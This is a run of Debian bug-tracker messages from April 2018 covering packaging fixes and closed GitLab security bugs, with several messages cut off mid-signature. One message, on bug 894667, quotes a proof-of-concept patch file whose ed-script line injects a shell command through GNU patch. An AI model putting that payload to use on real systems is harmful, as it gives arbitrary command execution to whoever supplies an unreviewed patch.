25qjlBNEhJVLHJWTwHuzhfnoF+6V98pmUOJaTTu9sXDSuvuIov0frSseRuRlirlD
56u3w/OYepfmVlU2MPOVf06ynrBaJtevj4g1uBmgVKCxbx7HZDXkSsaooEipvrnw
Xnn4To40gPA=
=IIRc
-END PGP SIGNATURE End Message ---

Bug#894667: The patch is the exploit.

[Kristian Köhntopp]

The https://holeybeep.ninja/ website contains a patch 
https://holeybeep.ninja/beep.patch.

The patch contains a line starting with a !.

That’s the actual bug, and it’s in the patch program.

http://git.savannah.gnu.org/cgit/patch.git/tree/src/pch.c#n2383

--- /dev/null   2018-13-37 13:37:37.0 +0100
+++ b/beep.c2018-13-37 13:38:38.0 +0100
1337a
1,112d
!id>~/pwn.lol;beep # 13-21 12:53:21.0 +0100
.
  -- https://holeybeep.ninja/beep.patch

patch calls ed. Ed calls sh. Arbitrary command execution through unreviewed 
patches.

Does git call patch or implement patch-parsing by itself?

K

-- 
Kristian Köhntopp http://google.com/+KristianKohntopp

Bug#894533: marked as done (cookiecutter: Depends on pytest-catchlog (in removal process))

[Debian Bug Tracking System]

Your message dated Thu, 05 Apr 2018 09:20:22 +
with message-id 
and subject line Bug#894533: fixed in cookiecutter 1.6.0-2
has caused the Debian Bug report #894533,
regarding cookiecutter: Depends on pytest-catchlog (in removal process)
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
894533: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894533
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Package: cookiecutter
Version: 1.6.0-1

Dear cookiecutter maintainer,

cookiecutter currently build-depends on python{3,}-pytest-catchlog.
This is most likely a mistake, since pytest-catchlog has been merged
into the pytest core and is consequently going to be removed from
unstable in a near future.

I can NMU if needed.

See #892633[0] for more information.

Thanks.

Regards,
 Hugo

[0] https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=892633

-- 
 Hugo Lefeuvre (hle)|www.owl.eu.com
4096/ 9C4F C8BF A4B0 8FC5 48EB 56B8 1962 765B B9A8 BACA


signature.asc
Description: PGP signature
--- End Message ---
--- Begin Message ---
Source: cookiecutter
Source-Version: 1.6.0-2

We believe that the bug you reported is fixed in the latest version of
cookiecutter, which is due to be installed in the Debian FTP archive.

A summary of the changes between this version and the previous one is
attached.

Thank you for reporting the bug, which will now be closed.  If you
have further comments please address them to 894...@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.

Debian distribution maintenance software
pp.
Ondřej Nový  (supplier of updated cookiecutter package)

(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmas...@ftp-master.debian.org)


-BEGIN PGP SIGNED MESSAGE-
Hash: SHA256

Format: 1.8
Date: Tue, 13 Feb 2018 10:18:33 +0100
Source: cookiecutter
Binary: cookiecutter python-cookiecutter python3-cookiecutter 
python-cookiecutter-doc
Architecture: source
Version: 1.6.0-2
Distribution: unstable
Urgency: medium
Maintainer: Vincent Bernat 
Changed-By: Ondřej Nový 
Description:
 cookiecutter - create projects from project templates
 python-cookiecutter - create projects from project templates (Python 2 module)
 python-cookiecutter-doc - create projects from project templates 
(documentation)
 python3-cookiecutter - create projects from project templates (Python 3 module)
Closes: 894533
Changes:
 cookiecutter (1.6.0-2) unstable; urgency=medium
 .
   [ Ondřej Nový ]
   * d/control: Set Vcs-* to salsa.debian.org
   * d/copyright: Use https protocol in Format field
 .
   [ Gianfranco Costamagna ]
   * Bump std-version to 4.1.3, no changes required.
   * Team upload.
   * Apply changes of 1.5.1-2 on top of 1.6.0
   * Drop catchlog dependency (Closes: #894533)
 - Enforce minimum pytest version
Checksums-Sha1:
 00f3e502b37a2b080e8406ba63bb94fbac4a0d1d 2772 cookiecutter_1.6.0-2.dsc
 187520675a92564fe6e775b7c709f166faf9b0f4 6236 
cookiecutter_1.6.0-2.debian.tar.xz
 f635b0831440a2717ff92ea8d868ce002de49fdc 10188 
cookiecutter_1.6.0-2_source.buildinfo
Checksums-Sha256:
 b04bffe505501cce6797032c8d0c42c9eef32fd15c762ec7e2aa996002609dfd 2772 
cookiecutter_1.6.0-2.dsc
 9754595d9abcd0123da631567a53d7e6c536c7024705fe9e1e65fcc567d03ccf 6236 
cookiecutter_1.6.0-2.debian.tar.xz
 2104d34563b9e36530f44388a1e95f1502f33ccaaa91a29f228c1b380b4e8dd3 10188 
cookiecutter_1.6.0-2_source.buildinfo
Files:
 633443e1b6efefe4c9ff0b32a3794ab1 2772 python optional cookiecutter_1.6.0-2.dsc
 5b54b5a0a337eb5f73a66f192e22b1a0 6236 python optional 
cookiecutter_1.6.0-2.debian.tar.xz
 0b5239f0c70ffba7ec59f58a95223f1d 10188 python optional 
cookiecutter_1.6.0-2_source.buildinfo

-BEGIN PGP SIGNATURE-

iQIcBAEBCAAGBQJaxc6dAAoJEPNPCXROn13ZvjkP/325Yn1PRxsgDn1KshCAlx8X
rEr/r7dFOt4oMVy2GrVfYeWMujK+ZsnCGZEeaNj2Wm9rfIzIZjx7B4TEKeDJI4p8
T4ZvYNIXnpLMcQvRUQdNXznNfIAbHyqwjeU2nLn8NY2y6Dn5KzMzTc2JYGRnDH1l
s1HHSVkaQWhAaWYuE3puunfTeC5kJYAPZHJETJaax59oYL8U3xhbKXZJBawMhNWz
puyoVFM7jWFSUnsMMzE7A5/8RP34N6IJ8eSH85Hoa65+eK4Vmy0nNFDUkImCvQEz
dLtclV9GmuLGq+Lvk0QM8CoDozkwBhTaNiiq/clbMk+cVtqWRSfkZRRsc6xEv3+A
qrRoiam5hnpf+OGRbqwK5cWzUi3AhRCxAvkmfv8t9xDW0PKb7B0aC/y2nhGoA75q
EvJe7OkxQZFO781HfY/wZ8u9zC7MJzNXDvlVghx5oxpT+tgW/qbqs4JsA7hpd7zv
h4DfQ8WuA5AmY1n6bC7WkN6UBk3j9IN0IH08H7+wrWGn8bMcsjencKI2UMQzifII
5lR5OZx2drwcwRcRWjCiZ4rpXJL/uPiRa4oC7BLA5weK1MRGTCDdyrubi5Lt35sI
PXRO+76iA3XcnJ9CxVd6EYzQCtnwirbuuRUQdaKnwoSEV42H3dTJ8mSRPAj9+wyP
IsEcPdxsIffWEL5Vg05p
=rtwJ
-END PGP SIGNATURE End Me

Bug#894868: marked as done (gitlab: Persistent XSS in milestones data-milestone-id)

[Debian Bug Tracking System]

Your message dated Thu, 05 Apr 2018 09:20:56 +
with message-id 
and subject line Bug#894868: fixed in gitlab 10.6.3+dfsg-1
has caused the Debian Bug report #894868,
regarding gitlab: Persistent XSS in milestones data-milestone-id
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
894868: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894868
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Source: gitlab
Version: 10.6.2+dfsg-1
Severity: grave
Tags: security upstream
Justification: user security hole
Control: clone -1 -2 -3
Control: retitle -1 gitlab: Confidential issue comments in Slack, Mattermost, 
and webhook integrations
Control: retitle -2 gitlab: Persistent XSS in milestones data-milestone-id
Control: retitle -3 gitlab: Persistent XSS in filename of merge request
Control: found -1 8.13.11+dfsg1-8
Control: found -3 8.13.11+dfsg1-8


Hi

New gitlab release fixing three issues. Will fill three bugs for it
since no CVEs are assigned (yet) to clearly identify the issues
(cloning this bug report to three bugs).

See: 
https://about.gitlab.com/2018/04/04/security-release-gitlab-10-dot-6-dot-3-released/

Regards,
Salvatore
--- End Message ---
--- Begin Message ---
Source: gitlab
Source-Version: 10.6.3+dfsg-1

We believe that the bug you reported is fixed in the latest version of
gitlab, which is due to be installed in the Debian FTP archive.

A summary of the changes between this version and the previous one is
attached.

Thank you for reporting the bug, which will now be closed.  If you
have further comments please address them to 894...@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.

Debian distribution maintenance software
pp.
Pirate Praveen  (supplier of updated gitlab package)

(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmas...@ftp-master.debian.org)


-BEGIN PGP SIGNED MESSAGE-
Hash: SHA256

Format: 1.8
Date: Thu, 05 Apr 2018 14:05:46 +0530
Source: gitlab
Binary: gitlab
Architecture: source all
Version: 10.6.3+dfsg-1
Distribution: unstable
Urgency: medium
Maintainer: Debian Ruby Extras Maintainers 

Changed-By: Pirate Praveen 
Description:
 gitlab - git powered software platform to collaborate on code (non-omnibus
Closes: 894867 894868 894869
Changes:
 gitlab (10.6.3+dfsg-1) unstable; urgency=medium
 .
   * New upstream version 10.6.3 (Closes: #894867, #894868, #894869)
Checksums-Sha1:
 5e6c1d5316a03e025f9791d2f19e6c0e3b699b3e 2523 gitlab_10.6.3+dfsg-1.dsc
 4caee2dd495f5ce58b20dd9f1cf7d399f52b2543 42803908 
gitlab_10.6.3+dfsg.orig.tar.xz
 5b47be5b9a0273f47d1453585ec4596aebfc6b7c 62116 
gitlab_10.6.3+dfsg-1.debian.tar.xz
 bfd3790e1aaab823e55a17e355ffa5c44a00537a 43263430 gitlab_10.6.3+dfsg-1_all.deb
 27459b471d6a9de85064e2a19996a71c90cefd28 8285 
gitlab_10.6.3+dfsg-1_amd64.buildinfo
Checksums-Sha256:
 7fa0d00feabb0fb0a884969a4fb0c84d5e2884fd05c3ef3459aa5b37eb9f7df1 2523 
gitlab_10.6.3+dfsg-1.dsc
 b39f076c58aba00cbee9a4ffdd1da900d09b74570b2006abd2965264a8b744e3 42803908 
gitlab_10.6.3+dfsg.orig.tar.xz
 8a66c55220e37327ecc9faeaa9420e27d9546ffe81e95c4ce43b7230dd5c0904 62116 
gitlab_10.6.3+dfsg-1.debian.tar.xz
 5d3649e2322e67f49cb93dacf8684e680a61c7bfd200a5010f583ddf504b4940 43263430 
gitlab_10.6.3+dfsg-1_all.deb
 2fd173ab25f56b0a4fdad473f65c5add0f99b9505eddd15d7a145d09eb466cc2 8285 
gitlab_10.6.3+dfsg-1_amd64.buildinfo
Files:
 776215a4c9a793ed7eee8d7bbf755b6d 2523 contrib/net optional 
gitlab_10.6.3+dfsg-1.dsc
 b92585c7d6979986f67a90a042477bb4 42803908 contrib/net optional 
gitlab_10.6.3+dfsg.orig.tar.xz
 a2503776d60de6161efe3150e8ba57d3 62116 contrib/net optional 
gitlab_10.6.3+dfsg-1.debian.tar.xz
 b195ad78445a3aedd0f056582b846215 43263430 contrib/net optional 
gitlab_10.6.3+dfsg-1_all.deb
 9525dccde38763a931fe4260f7ddd87b 8285 contrib/net optional 
gitlab_10.6.3+dfsg-1_amd64.buildinfo

-BEGIN PGP SIGNATURE-

iQIzBAEBCAAdFiEEKnl0ri/BUtd4Z9pKzh+cZ0USwioFAlrF5TMACgkQzh+cZ0US
wipqVRAAi6La5Yebm/5HzylmCPpdiq4u35UbLcniSZAsLrfyYWhd2fEwKeTtLq9n
U3EbhdDy4xT9N9LQVf3BFo8CyGdTcSEmAvsyp252p32qJI6srpoOoCagv4R+tnrG
0YYZm1G9qlu4fyhHurTWfkK9s+A4jB2TdT98pC7Ad+QNdtXOfVL6v8gS1AGTeltD
DvQuUDcQVEoXcXpOeJovl9GGy8MlmJeK8L3Dd2JkZJmbQ5HIfjKwT2HbdQOaYpAI
zSAfPjRxOQ/qupvfJbJzfStc7MccJal7wWrTgYCOC6N1I+XfFg3dA3zzXQ/hNZRq
OcDsPCnt7GRoarG+BXRuTXwjkO7OTWiDGziaFr4Hm6cnmX5UpMdgUoHPkkdi
5OnKIrcuxDPxgtf/cJ/tXF//y1/Fcg3M3+J06ImxnPsZE9yNeEPGGgxlP9AH5QXT
8wgLM5VsqVvig35Bz36m18AGVP4rNFgyjRw1LJdGf2+PFkzSZeZPwu8e3C0HNFu2
iDjWL7ex7oml5cuEvdAssEXN3zTC1NU

Bug#894867: marked as done (gitlab: Confidential issue comments in Slack, Mattermost, and webhook integrations)

[Debian Bug Tracking System]

Your message dated Thu, 05 Apr 2018 09:20:56 +
with message-id 
and subject line Bug#894867: fixed in gitlab 10.6.3+dfsg-1
has caused the Debian Bug report #894867,
regarding gitlab: Confidential issue comments in Slack, Mattermost, and webhook 
integrations
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
894867: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894867
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Source: gitlab
Version: 10.6.2+dfsg-1
Severity: grave
Tags: security upstream
Justification: user security hole
Control: clone -1 -2 -3
Control: retitle -1 gitlab: Confidential issue comments in Slack, Mattermost, 
and webhook integrations
Control: retitle -2 gitlab: Persistent XSS in milestones data-milestone-id
Control: retitle -3 gitlab: Persistent XSS in filename of merge request
Control: found -1 8.13.11+dfsg1-8
Control: found -3 8.13.11+dfsg1-8


Hi

New gitlab release fixing three issues. Will fill three bugs for it
since no CVEs are assigned (yet) to clearly identify the issues
(cloning this bug report to three bugs).

See: 
https://about.gitlab.com/2018/04/04/security-release-gitlab-10-dot-6-dot-3-released/

Regards,
Salvatore
--- End Message ---
--- Begin Message ---
Source: gitlab
Source-Version: 10.6.3+dfsg-1

We believe that the bug you reported is fixed in the latest version of
gitlab, which is due to be installed in the Debian FTP archive.

A summary of the changes between this version and the previous one is
attached.

Thank you for reporting the bug, which will now be closed.  If you
have further comments please address them to 894...@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.

Debian distribution maintenance software
pp.
Pirate Praveen  (supplier of updated gitlab package)

(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmas...@ftp-master.debian.org)


-BEGIN PGP SIGNED MESSAGE-
Hash: SHA256

Format: 1.8
Date: Thu, 05 Apr 2018 14:05:46 +0530
Source: gitlab
Binary: gitlab
Architecture: source all
Version: 10.6.3+dfsg-1
Distribution: unstable
Urgency: medium
Maintainer: Debian Ruby Extras Maintainers 

Changed-By: Pirate Praveen 
Description:
 gitlab - git powered software platform to collaborate on code (non-omnibus
Closes: 894867 894868 894869
Changes:
 gitlab (10.6.3+dfsg-1) unstable; urgency=medium
 .
   * New upstream version 10.6.3 (Closes: #894867, #894868, #894869)
Checksums-Sha1:
 5e6c1d5316a03e025f9791d2f19e6c0e3b699b3e 2523 gitlab_10.6.3+dfsg-1.dsc
 4caee2dd495f5ce58b20dd9f1cf7d399f52b2543 42803908 
gitlab_10.6.3+dfsg.orig.tar.xz
 5b47be5b9a0273f47d1453585ec4596aebfc6b7c 62116 
gitlab_10.6.3+dfsg-1.debian.tar.xz
 bfd3790e1aaab823e55a17e355ffa5c44a00537a 43263430 gitlab_10.6.3+dfsg-1_all.deb
 27459b471d6a9de85064e2a19996a71c90cefd28 8285 
gitlab_10.6.3+dfsg-1_amd64.buildinfo
Checksums-Sha256:
 7fa0d00feabb0fb0a884969a4fb0c84d5e2884fd05c3ef3459aa5b37eb9f7df1 2523 
gitlab_10.6.3+dfsg-1.dsc
 b39f076c58aba00cbee9a4ffdd1da900d09b74570b2006abd2965264a8b744e3 42803908 
gitlab_10.6.3+dfsg.orig.tar.xz
 8a66c55220e37327ecc9faeaa9420e27d9546ffe81e95c4ce43b7230dd5c0904 62116 
gitlab_10.6.3+dfsg-1.debian.tar.xz
 5d3649e2322e67f49cb93dacf8684e680a61c7bfd200a5010f583ddf504b4940 43263430 
gitlab_10.6.3+dfsg-1_all.deb
 2fd173ab25f56b0a4fdad473f65c5add0f99b9505eddd15d7a145d09eb466cc2 8285 
gitlab_10.6.3+dfsg-1_amd64.buildinfo
Files:
 776215a4c9a793ed7eee8d7bbf755b6d 2523 contrib/net optional 
gitlab_10.6.3+dfsg-1.dsc
 b92585c7d6979986f67a90a042477bb4 42803908 contrib/net optional 
gitlab_10.6.3+dfsg.orig.tar.xz
 a2503776d60de6161efe3150e8ba57d3 62116 contrib/net optional 
gitlab_10.6.3+dfsg-1.debian.tar.xz
 b195ad78445a3aedd0f056582b846215 43263430 contrib/net optional 
gitlab_10.6.3+dfsg-1_all.deb
 9525dccde38763a931fe4260f7ddd87b 8285 contrib/net optional 
gitlab_10.6.3+dfsg-1_amd64.buildinfo

-BEGIN PGP SIGNATURE-

iQIzBAEBCAAdFiEEKnl0ri/BUtd4Z9pKzh+cZ0USwioFAlrF5TMACgkQzh+cZ0US
wipqVRAAi6La5Yebm/5HzylmCPpdiq4u35UbLcniSZAsLrfyYWhd2fEwKeTtLq9n
U3EbhdDy4xT9N9LQVf3BFo8CyGdTcSEmAvsyp252p32qJI6srpoOoCagv4R+tnrG
0YYZm1G9qlu4fyhHurTWfkK9s+A4jB2TdT98pC7Ad+QNdtXOfVL6v8gS1AGTeltD
DvQuUDcQVEoXcXpOeJovl9GGy8MlmJeK8L3Dd2JkZJmbQ5HIfjKwT2HbdQOaYpAI
zSAfPjRxOQ/qupvfJbJzfStc7MccJal7wWrTgYCOC6N1I+XfFg3dA3zzXQ/hNZRq
OcDsPCnt7GRoarG+BXRuTXwjkO7OTWiDGziaFr4Hm6cnmX5UpMdgUoHPkkdi
5OnKIrcuxDPxgtf/cJ/tXF//y1/Fcg3M3+J06ImxnPsZE9yNeEPGGgxlP9AH5QXT
8wgLM5VsqVvig35Bz36m18AGVP4rNFgyjRw1LJdGf2+PFkzSZeZPwu8e3C0HNFu2
iD

Bug#894869: marked as done (gitlab: Persistent XSS in filename of merge request)

[Debian Bug Tracking System]

Your message dated Thu, 05 Apr 2018 09:20:56 +
with message-id 
and subject line Bug#894869: fixed in gitlab 10.6.3+dfsg-1
has caused the Debian Bug report #894869,
regarding gitlab: Persistent XSS in filename of merge request
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
894869: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894869
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Source: gitlab
Version: 10.6.2+dfsg-1
Severity: grave
Tags: security upstream
Justification: user security hole
Control: clone -1 -2 -3
Control: retitle -1 gitlab: Confidential issue comments in Slack, Mattermost, 
and webhook integrations
Control: retitle -2 gitlab: Persistent XSS in milestones data-milestone-id
Control: retitle -3 gitlab: Persistent XSS in filename of merge request
Control: found -1 8.13.11+dfsg1-8
Control: found -3 8.13.11+dfsg1-8


Hi

New gitlab release fixing three issues. Will fill three bugs for it
since no CVEs are assigned (yet) to clearly identify the issues
(cloning this bug report to three bugs).

See: 
https://about.gitlab.com/2018/04/04/security-release-gitlab-10-dot-6-dot-3-released/

Regards,
Salvatore
--- End Message ---
--- Begin Message ---
Source: gitlab
Source-Version: 10.6.3+dfsg-1

We believe that the bug you reported is fixed in the latest version of
gitlab, which is due to be installed in the Debian FTP archive.

A summary of the changes between this version and the previous one is
attached.

Thank you for reporting the bug, which will now be closed.  If you
have further comments please address them to 894...@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.

Debian distribution maintenance software
pp.
Pirate Praveen  (supplier of updated gitlab package)

(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmas...@ftp-master.debian.org)


-BEGIN PGP SIGNED MESSAGE-
Hash: SHA256

Format: 1.8
Date: Thu, 05 Apr 2018 14:05:46 +0530
Source: gitlab
Binary: gitlab
Architecture: source all
Version: 10.6.3+dfsg-1
Distribution: unstable
Urgency: medium
Maintainer: Debian Ruby Extras Maintainers 

Changed-By: Pirate Praveen 
Description:
 gitlab - git powered software platform to collaborate on code (non-omnibus
Closes: 894867 894868 894869
Changes:
 gitlab (10.6.3+dfsg-1) unstable; urgency=medium
 .
   * New upstream version 10.6.3 (Closes: #894867, #894868, #894869)
Checksums-Sha1:
 5e6c1d5316a03e025f9791d2f19e6c0e3b699b3e 2523 gitlab_10.6.3+dfsg-1.dsc
 4caee2dd495f5ce58b20dd9f1cf7d399f52b2543 42803908 
gitlab_10.6.3+dfsg.orig.tar.xz
 5b47be5b9a0273f47d1453585ec4596aebfc6b7c 62116 
gitlab_10.6.3+dfsg-1.debian.tar.xz
 bfd3790e1aaab823e55a17e355ffa5c44a00537a 43263430 gitlab_10.6.3+dfsg-1_all.deb
 27459b471d6a9de85064e2a19996a71c90cefd28 8285 
gitlab_10.6.3+dfsg-1_amd64.buildinfo
Checksums-Sha256:
 7fa0d00feabb0fb0a884969a4fb0c84d5e2884fd05c3ef3459aa5b37eb9f7df1 2523 
gitlab_10.6.3+dfsg-1.dsc
 b39f076c58aba00cbee9a4ffdd1da900d09b74570b2006abd2965264a8b744e3 42803908 
gitlab_10.6.3+dfsg.orig.tar.xz
 8a66c55220e37327ecc9faeaa9420e27d9546ffe81e95c4ce43b7230dd5c0904 62116 
gitlab_10.6.3+dfsg-1.debian.tar.xz
 5d3649e2322e67f49cb93dacf8684e680a61c7bfd200a5010f583ddf504b4940 43263430 
gitlab_10.6.3+dfsg-1_all.deb
 2fd173ab25f56b0a4fdad473f65c5add0f99b9505eddd15d7a145d09eb466cc2 8285 
gitlab_10.6.3+dfsg-1_amd64.buildinfo
Files:
 776215a4c9a793ed7eee8d7bbf755b6d 2523 contrib/net optional 
gitlab_10.6.3+dfsg-1.dsc
 b92585c7d6979986f67a90a042477bb4 42803908 contrib/net optional 
gitlab_10.6.3+dfsg.orig.tar.xz
 a2503776d60de6161efe3150e8ba57d3 62116 contrib/net optional 
gitlab_10.6.3+dfsg-1.debian.tar.xz
 b195ad78445a3aedd0f056582b846215 43263430 contrib/net optional 
gitlab_10.6.3+dfsg-1_all.deb
 9525dccde38763a931fe4260f7ddd87b 8285 contrib/net optional 
gitlab_10.6.3+dfsg-1_amd64.buildinfo

-BEGIN PGP SIGNATURE-

iQIzBAEBCAAdFiEEKnl0ri/BUtd4Z9pKzh+cZ0USwioFAlrF5TMACgkQzh+cZ0US
wipqVRAAi6La5Yebm/5HzylmCPpdiq4u35UbLcniSZAsLrfyYWhd2fEwKeTtLq9n
U3EbhdDy4xT9N9LQVf3BFo8CyGdTcSEmAvsyp252p32qJI6srpoOoCagv4R+tnrG
0YYZm1G9qlu4fyhHurTWfkK9s+A4jB2TdT98pC7Ad+QNdtXOfVL6v8gS1AGTeltD
DvQuUDcQVEoXcXpOeJovl9GGy8MlmJeK8L3Dd2JkZJmbQ5HIfjKwT2HbdQOaYpAI
zSAfPjRxOQ/qupvfJbJzfStc7MccJal7wWrTgYCOC6N1I+XfFg3dA3zzXQ/hNZRq
OcDsPCnt7GRoarG+BXRuTXwjkO7OTWiDGziaFr4Hm6cnmX5UpMdgUoHPkkdi
5OnKIrcuxDPxgtf/cJ/tXF//y1/Fcg3M3+J06ImxnPsZE9yNeEPGGgxlP9AH5QXT
8wgLM5VsqVvig35Bz36m18AGVP4rNFgyjRw1LJdGf2+PFkzSZeZPwu8e3C0HNFu2
iDjWL7ex7oml5cuEvdAssEXN3zTC1NUrNF

Bug#894886: libbamtools-dev needs Breaks+Replaces: libbamtools2.4.0 (<< 2.5.1+dfsg-2~)

[Adrian Bunk]

Package: libbamtools-dev
Version: 2.5.1+dfsg-2
Severity: serious

Unpacking libbamtools-dev:amd64 (2.5.1+dfsg-2) over (2.5.1+dfsg-1) ...
dpkg: error processing archive 
/tmp/apt-dpkg-install-tvD183/09-libbamtools-dev_2.5.1+dfsg-2_amd64.deb 
(--unpack):
 trying to overwrite '/usr/include/bamtools/api/BamAlgorithms.h', which is also 
in package libbamtools2.4.0 2.5.1+dfsg-1

Bug#894313: etherape: Crashes on startup

[Patrick Matthäi]

Hi,

with 0.9.15+hg20171110-1 it should be possible to run etherape without
libgnomeui?

Am 01.04.2018 um 00:44 schrieb John Scott:
> Package: etherape > Version: 0.9.16-1 > Followup-For: Bug #894313 >
> I am able to reproduce this issue, but installing libgnomeui-0
> (which provides libgnome.so) fixes it for me. Like the upstream
> report suggests, this looks like a missing dependency.
>
> -- System Information:
> Debian Release: buster/sid
>   APT prefers testing-debug
>   APT policy: (500, 'testing-debug'), (500, 'testing')
> Architecture: amd64 (x86_64)
>
> Kernel: Linux 4.15.0-2-amd64 (SMP w/2 CPU cores)
> Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8),
> LANGUAGE=en_US.UTF-8 (charmap=UTF-8)
> Shell: /bin/sh linked to /bin/dash
> Init: systemd (via /run/systemd/system)
> LSM: AppArmor: enabled
>
> Versions of packages etherape depends on:
> ii  etherape-data    0.9.16-1
> ii  libart-2.0-2 2.3.21-3
> ii  libatk1.0-0  2.28.1-1
> ii  libc-ares2   1.14.0-1
> ii  libc6    2.27-2
> ii  libcairo2    1.15.10-1
> ii  libfontconfig1   2.12.6-0.1
> ii  libfreetype6 2.8.1-2
> ii  libgdk-pixbuf2.0-0   2.36.11-2
> ii  libglade2-0  1:2.6.4-2+b1
> ii  libglib2.0-0 2.56.0-4
> ii  libgnomecanvas2-0    2.30.3-3
> ii  libgtk2.0-0  2.24.32-1
> ii  libpango-1.0-0   1.42.0-1
> ii  libpangocairo-1.0-0  1.42.0-1
> ii  libpangoft2-1.0-0    1.42.0-1
> ii  libpcap0.8   1.8.1-6
> ii  libpopt0 1.16-10+b2
> ii  libxml2  2.9.4+dfsg1-6.1
>
> etherape recommends no packages.
>
> etherape suggests no packages.
>
> -- no debconf information
>

-- 
/*
Mit freundlichem Gruß / With kind regards,
 Patrick Matthäi
 GNU/Linux Debian Developer

  Blog: http://www.linux-dev.org/
E-Mail: pmatth...@debian.org
    patr...@linux-dev.org
*/



signature.asc
Description: OpenPGP digital signature

Processed: Re: Bug#894858: gui-apt-key missing Depends on menu

[Debian Bug Tracking System]

Processing control commands:

> retitle -1 gui-apt-key: Missing package relation with menu
Bug #894858 [gui-apt-key] gui-apt-key missing Depends on menu
Changed Bug title to 'gui-apt-key: Missing package relation with menu' from 
'gui-apt-key missing Depends on menu'.
> severity -1 serious
Bug #894858 [gui-apt-key] gui-apt-key: Missing package relation with menu
Severity set to 'serious' from 'important'

-- 
894858: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894858
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#891541: lua-posix: Loading fails with "module 'posix.ctype' not found"

[Roland Hieber]

Package: lua-posix
Version: 33.4.0-2.1
Followup-For: Bug #891541

Control: tags 891541 + patch
Control: thanks

Alexander Grund wrote on Mon, 12 Mar 2018 16:18:39 +0100:
> The reason for this happening is that lua-posix changed its main module 
> name from posix_c to posix. The maintainers of the debian package missed 
> that and still install a symlink from 
> /usr/lib/x86_64-linux-gnu/lua/5.1/posix_c.so.

Thank you for those pointers, the following patch seems to fix this issue for
me :-)

 - Roland
From: Roland Hieber 
Date: Wed, 4 Apr 2018 17:21:40 +0200
Subject: [PATCH] WIP: posix_c.so -> posix.so

---
 debian/lua5.1.posix.dh-lua.conf | 2 +-
 1 files changed, 1 insertions(+), 1 deletion(-)

diff --git a/debian/lua5.1.posix.dh-lua.conf b/debian/lua5.1.posix.dh-lua.conf
index 802652f..c5a8871 100644
--- a/debian/lua5.1.posix.dh-lua.conf
+++ b/debian/lua5.1.posix.dh-lua.conf
@@ -12,7 +12,7 @@ LUA_HEADER=
 LUA_SOURCES=lib/posix/*.lua
 LUA_SOURCES_MANGLER=sed -e 's?^lib/??'
 LUA_MODNAME=posix
-LUA_MODNAME_CPART=posix_c
+LUA_MODNAME_CPART=posix
 
 ### this part is relative to pkg-config
 PKG_VERSION=$(shell dpkg-parsechangelog|grep ^Ver|cut -d ' ' -f 2|cut -d '-' 
-f 1)
-- 
2.16.3

Processed (with 1 error): Re: lua-posix: Loading fails with "module 'posix.ctype' not found"

[Debian Bug Tracking System]

Processing control commands:

> severity 891541 grave
Bug #891541 [lua-posix] lua-posix: Loading fails with "module 'posix.ctype' not 
found"
Severity set to 'grave' from 'important'
> thanks
Unknown command or malformed arguments to command.


-- 
891541: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=891541
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#894883: python-jack-client: missing CFFI build dependencies

[Adrian Bunk]

Source: python-jack-client
Version: 0.4.4-1
Severity: serious

https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/python-jack-client.html

...
 fakeroot debian/rules clean
dh clean  --with python2,python3 --buildsystem=pybuild
   dh_auto_clean -O--buildsystem=pybuild
I: pybuild base:217: python2.7 setup.py clean 

Note: Bypassing https://pypi.python.org/simple/CFFI/ (disallowed host; see 
http://bit.ly/2hrImnY for details).

Couldn't find index page for 'CFFI' (maybe misspelled?)

Note: Bypassing https://pypi.python.org/simple/ (disallowed host; see 
http://bit.ly/2hrImnY for details).

No local packages or working download links found for CFFI>=1.0
Traceback (most recent call last):
  File "setup.py", line 36, in 
zip_safe=True,
  File "/usr/lib/python2.7/dist-packages/setuptools/__init__.py", line 128, in 
setup
_install_setup_requires(attrs)
  File "/usr/lib/python2.7/dist-packages/setuptools/__init__.py", line 123, in 
_install_setup_requires
dist.fetch_build_eggs(dist.setup_requires)
  File "/usr/lib/python2.7/dist-packages/setuptools/dist.py", line 513, in 
fetch_build_eggs
